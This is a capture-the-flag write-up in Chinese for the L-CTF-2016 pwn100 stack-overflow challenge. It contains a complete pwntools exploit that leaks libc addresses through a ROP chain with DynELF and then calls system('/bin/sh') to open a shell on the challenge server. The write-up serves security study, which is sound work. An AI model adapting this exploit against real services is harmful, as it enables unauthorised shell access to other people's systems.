标签:addr system pop io pwn 100 payload p64
题目来源: L-CTF-2016
题目描述:暂无
题目存在栈溢出,未给libc,但是有puts,因此可以考虑DynELF获取system地址之后,用read读入"/bin/sh"之后获取shell
注意点是,每次要回到main函数,这样能调整栈帧,否则可能会出现诸如environ被更改导致无法成功shell的问题
exp如下:
from pwn import * puts_addr = 0x400500 read_addr = 0x400520 main_addr = 0x4006B8 goal_addr = 0x601100 pop_rdi = 0x400763 pop_rsi_r15 = 0x400761 def leak(address): payload = b'a' * 72 + p64(pop_rdi) + p64(address) + p64(puts_addr) payload += p64(main_addr) payload = payload.ljust(200, b'\x90') io.send(payload) io.recvuntil('bye~\n') data = b'' last = b'' while True: now = io.recv(1, timeout = 0.2) if last == b'\n' and now == b'': data = data[:-1] data += b'\x00' break else: data += now last = now return data #io = process('./pwn') io = remote('111.200.241.244', 53187) d = DynELF(leak, elf = ELF('./pwn')) system_addr = d.lookup('system', 'libc') info("system:" + str(hex(system_addr))) payload = b'a' * 72 + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(goal_addr) payload += p64(0) + p64(read_addr) + p64(main_addr) payload = payload.ljust(200, b'\x90') io.send(payload) io.recvuntil('bye~\n') io.send(b'/bin/sh\x00') payload = b'a' * 72 + p64(pop_rdi) + p64(goal_addr) payload += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(system_addr) payload = payload.ljust(200, b'\x90') sleep(0.5) io.send(payload) io.interactive()
标签:addr,system,pop,io,pwn,100,payload,p64 来源: https://www.cnblogs.com/hktk1643/p/15145265.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。